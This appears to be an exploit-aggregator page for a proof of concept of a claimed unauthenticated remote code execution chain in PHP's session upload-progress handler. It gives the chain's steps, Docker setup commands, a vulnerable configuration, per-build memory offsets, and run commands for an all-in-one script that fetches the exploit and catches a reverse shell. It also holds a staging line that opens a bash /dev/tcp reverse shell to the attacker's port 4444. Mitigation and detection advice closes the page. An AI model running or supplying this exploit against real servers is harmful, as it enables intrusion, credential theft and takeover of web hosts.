Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 23, 2026

★ CVE-2026-109618 / CVE-2026-109619 PHP `session.upload_progress` Pre-Auth RCE PoC ★

> **PHP2Shell** (CVE-2026-109618 / CVE-2026-109619) is an **unauthenticated Remote Code Execution** flaw in PHP under Apache `mod_php`.

> A crafted `multipart/form-data` request triggers an out-of-memory bailout in the pre-request `session.upload_progress` handler, leaving stale pointers that leak the Zend heap and `libphp.so` bases via `Set-Cookie` (defeating ASLR); a forged HashTable then redirects a destructor to `zif_system`, running commands as the web worker (`www-data`).

> No authentication is required and the vulnerable session settings are on by default.

| **Vulnerable** | PHP **8.2.x / 8.3.x / 8.4.x / 8.5.x** before the patch |

| **Patched** | PHP **8.5.12 · 8.4.27 · 8.3.36 · 8.2.35** or later (2026-10-21) |

| **Verified on** | official `php:8.4.26-apache` (Debian 13, **amd64**) |

> Offsets are per-build (version · arch · distro). This PoC ships a profile for `8.4.26-apache amd64`; other builds need their own `profiles/*.json`.

- Remote Code Execution as the web worker account (`www-data`)

- Full read/write of the document root, app config, DB credentials, and secrets reachable by that account

- Memory disclosure (heap / `libphp` pointers, and potentially session tokens and keys) even before RCE

Victim = official `php:8.4.26-apache` with the config below. The attacker runs from a separate

container (`eqst-kali`) on the same Docker bridge; the reverse shell calls back to its IP.

# victim (official image + vulnerable config inlined in the Dockerfile)

docker build --platform linux/amd64 -t p2s-victim .

docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge

docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2

| PHP 8.2–8.5 (pre-patch) + Apache `mod_php` | PHP 8.4.26 / Apache 2.4.69, prefork |

| `session.upload_progress.enabled` | On (**default**) |

| `session.use_strict_mode` | 0 (**default**) |

| `display_errors` | On (ships the stage-1 leak) |

| `memory_limit` | 128M (**default** — left unchanged) |

| `post_max_size` / `upload_max_filesize` > `memory_limit` (lets a request body hit the OOM) | 256M (upload-capable apps commonly raise these) |

| Single Apache worker process (stale state is per-process) | 1 |

> **Host note (WSL2):** on Windows Docker Desktop (WSL2) the kernel maps `libphp` at `0x7c...`,

> below the upstream exploit's `0x7F...` ASLR check, so it discards the valid leak. `p2s_shell.py`

> auto-widens that range. On a native Linux host the patch is a no-op.

`p2s_shell.py` is a single process that **opens its own listener, fetches the upstream exploit,

picks offsets from `profiles/*.json` by the target's PHP version, triggers the chain, and catches

a PTY-upgraded reverse shell** (no separate `nc`).

├── Dockerfile # victim image (config inlined)

├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell

└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)

(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

One-time prerequisite: stage the reverse-shell payload in the victim web root (the command carrier

is **14 bytes**, so long payloads go in a file run via `bash& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink

Run the PoC from inside the attacker (paths are relative to the script):

# interactive PTY shell (victim IP from the inspect above)

python3 p2s_shell.py -u

python3 p2s_shell.py -u --run 'id;uname -a'

It fingerprints `X-Powered-By: PHP/8.4.26`, loads the matching profile, and pops the shell:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8

- Upgrade PHP to **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35** or later (the only complete fix); restart workers after

- Set `session.upload_progress.enabled = Off` if upload progress is not used

- Set `display_errors = Off` in production (blocks the shipped stage-1 leak)

- Run PHP as an unprivileged user with a read-only document root; rate-limit large multipart bodies at the edge

- Monitor for multipart requests with ~1000 fields, very large bodies, repeated OOM/500s, Apache child crashes, and `zend_mm_heap corrupted` log lines

Extracted Entities